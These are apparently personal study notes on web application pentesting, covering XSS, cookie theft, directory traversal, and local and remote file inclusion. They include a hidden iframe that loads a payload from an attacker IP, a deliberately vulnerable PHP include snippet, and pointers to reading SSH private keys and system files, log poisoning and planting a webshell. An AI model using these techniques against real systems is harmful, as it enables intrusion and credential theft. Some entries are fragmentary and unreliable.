**General :**

* a Java-based web application might use .jsp, .do, or .html.
* Headers that start with “X-” are non-standard HTTP headers
* For tomcat the default admin console is at /manager/html

**XSS :**

* < > ' " { } ; are special characters for HTML and JavaScript
* There are multiple kinds of encoding. We encounter HTML and URL encoding the most.
* HTML encoding look like &lt;
* URL encoding look like %20

**Content-Injection :**

* <iframe src=http://10.11.0.4/report height=”0” width=”0”></iframe> Ifram to deliver XSS payload

**Stealing Cookies and Session Information :**

* The Secure flag instructs the browser to only send the cookie over encrypted connections, such as HTTPS.
* The HttpOnly flag instructs the browser to deny JavaScript access to the cookie. If the flag is not set then we can steal cookies.

**Directory traversal and file inclusion :**

* Unlike directory traversals that simply display the contents of a file, file inclusion vulnerabilities allow an attacker to include a file into the application’s running code.
* In php, php.ini values such as register\_globals and allow\_url wrappers, make a considerable difference in how these vulnerabilities can be exploited.
* In php, We are less likely to find RFI vulnerabilities since the default configuration for modern PHP versions disables remote URL includes.
* ini\_get("disable\_functions") to find disabled function.
* \*Code example for File Inclusion vulnerability : <?php $file = $\_GET["file"]; include $file; ?>.
* But if anyone used fread to read a file and display it using echo, then the code in the file won’t be executed.
* Contaminating Log Files : We can contaminate log files and get RCE.
* get current UID by looking into /proc/self/status. Find username using /etc/passwd
* goto home directory of current user like /home/akash/.ssh/id\_rsa
* check for log files.
* /proc/self/environ file has USERAGENT DATA.
* Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
* Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
* Set-Cookie: pass=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
* if present then.
* look for session data stored in machine. exact location can be found by phpinfo(); common locations pe dekh le /tmp/sess\_<session> or /var/
* create a mail using smtp with webshell. location to access mail is /var/mail/<username of tomail>.
* something related to /proc/self/fd/8 figure it out.
* if php:filter to read php files in lfi. google it

**Remote File Inclusion (RFI) :**

* PHP apps must be configured with allow\_url\_include set to “On”. Older versions of PHP set this on by default but newer versions default to “Off”
* Older versions of PHP have a vulnerability in which a null byte278 (%00) will terminate any string. This trick can be used when the server append .php to the file name passed, to include files of different extensions.
* Another trick for RFI payloads is to end them with a question mark (?) to mark anything added to the URL server-side as part of the query string.
* <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion> For php wrappers.